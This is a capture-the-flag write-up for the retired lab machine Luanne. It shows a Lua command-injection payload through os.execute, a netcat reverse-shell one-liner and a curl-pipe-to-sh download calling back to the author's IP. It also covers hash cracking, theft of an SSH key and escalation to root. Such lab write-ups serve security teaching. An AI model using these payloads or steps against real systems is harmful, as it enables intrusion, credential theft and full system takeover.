This is the write-up for the box Luanne that got retired at the 27th March 2021. My IP address was 10.10.14.6 while I did this.
Let's put this in our hosts file:
10.10.10.218 luanne.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/luanne.nmap 10.10.10.218
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
| http-robots.txt: 1 disallowed entry
|_/weather
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
|_http-server-header: Medusa/1.12
|_http-title: Error response
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
The web page on port 80 asks for basic authorization and without credentials, it forwards to an HTTP status code 401 Unauthorized:
401 Unauthorized
/index.html:
No authorization
127.0.0.1:3000
The web server seems to forward requests to an internal service on port 3000.
When requesting index.html, it shows the default "Welcome to nginx" page, which means that only specific paths need authorization. There is a robots.txt file, that has an entry for the path /weather which responds with the HTTP status code 404 Not Found:
User-agent: *
Disallow: /weather #returning 404 but still harvesting cities
The web page on port 9001 asks for basic authorization and without credentials, it forwards to an HTTP status code 401 Unauthorized:
Error response
Error code 401.
Message: Unauthorized.
The Server response header says that this is a Medusa/1.12 web server. By researching Medusa Supervisor Process Manager, it seems to be a system that allows to control processes on UNIX-like operating systems.
The documentation on page 14 has some default credentials:
username = user
password = 123
These credentials work and access to the Supervisor service is granted:
The processes show that the service on port 3000 runs weather.lua on localhost:
_httpd 376 0.0 0.0 34956 1984 ? Is 12:01PM 0:00.01 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
We now know that /weather on port 3000 is requested through port 80 and that it is written in the scripting language Lua. Lets fuzz this application, to gather information or execute code.
Lets search for hidden directories on /weather with FFuF:
ffuf -u http://10.10.10.218/weather/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
It finds the directory forecast which is an API:
The API expects the parameter city and can list all cities or show information based on a specified city:
GET /weather/forecast?city=list HTTP/1.1
Host: 10.10.10.218
GET /weather/forecast?city=London
When sending all special characters as a value to the parameter list, the single quote symbol (') responds with a different size:
ffuf -u http://10.10.10.218/weather/forecast?city=FUZZ -w /usr/share/seclists/Fuzzing/special-chars.txt -mc 200,500 -fw 5
The single quote character makes the application error:
curl http://10.10.10.218/weather/forecast?city=\'
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value
Fuzzing again for special characters after the single quote:
ffuf -u http://10.10.10.218/weather/forecast?city=\'FUZZ-- -w /usr/share/seclists/Fuzzing/special-chars.txt -mc 200,500 -fw 9
The closed bracket symbol between the single quote and the double hyphen (comment in Lua) responds with a different size. These characters probably end the real value and after that the os.execute in Lua can be used to execute commands:
GET /weather/forecast?city=');os.execute("id")--
"error": "unknown city: uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
Creating a shell script (shell.sh):
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 9001 >/tmp/f
Downloading and executing shell.sh:
GET /weather/forecast?city=');os.execute("curl+10.10.14.6:8000/shell.sh+|+sh")--
After sending the request, the file gets executed and the listener on my IP and port 9001 starts a reverse shell as the user httpd.
In the directory /var/www is a hidden .htpasswd file with credentials:
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
The password is hashed with md5crypt, so lets try to crack it with Hashcat:
hashcat -m 500 webapi_user.hash /usr/share/wordlists/rockyou.txt --user
After a while it will crack the hash:
iamthebest
These credentials work on the service on HTTP port 80, which asks for authorization but then forwards to examples of the API that we already exploited:
Checking the open ports:
netstat -an | grep LIST
127.0.0.1.3000
127.0.0.1.3001
Port 3000 is known to us, but port 3001 is running another service:
ps -auxw | grep 3001
r.michaels 185 0.0 0.0 34992 1960 ? Is 12:01PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home
Unfortunately the shell cuts of parts of the output, but the "Tail -f Stdout" feature in Supervisor, shows the full command:
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
The user r.michaels runs this and according to the NetBSD httpd documentation, the -u
parameter enables access to the user directory:
curl localhost:3001/~r.michaels/
<body><h1>401 Unauthorized</h1>
Authenticating to the service with the webapi_user:
curl --user webapi_user:iamthebest localhost:3001/~r.michaels/
Index of ~r.michaels
"../" > Parent Directory
"id_rsa" > id_rsa
Getting the private SSH key id_rsa:
curl --user webapi_user:iamthebest localhost:3001/~r.michaels/id_rsa
Using the SSH key to login into the box as r.michaels:
ssh -i rmichaels.key r.michaels@10.10.10.218
In the home directory /home/r.michaels/ is a directory .gnupg with two GPG keys:
ls .gnupg
pubring.gpg
secring.gpg
In the home directory /home/r.michaels/ is a directory backups with an encrypted file called devel_backup-2020-09-16.tar.gz.enc. This file can probably be decrypted with these keys:
netpgp --decrypt backups/devel_backup-2020-09-16.tar.gz.enc --output /tmp/backups.tar.gz
Decompressing the Tar archive:
tar -zxvf /tmp/backups.tar.gz
It contains the same files for the web server, but the .htpasswd has a different hash than before:
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
Trying to crack it with Hashcat:
hashcat -m 500 webapi_user.hash.2 /usr/share/wordlists/rockyou.txt --user
After a while it will crack the hash:
littlebear
Testing this password for root with doas
:
luanne$ doas sh
Password:
# whoami
root
It works and starts a shell as root!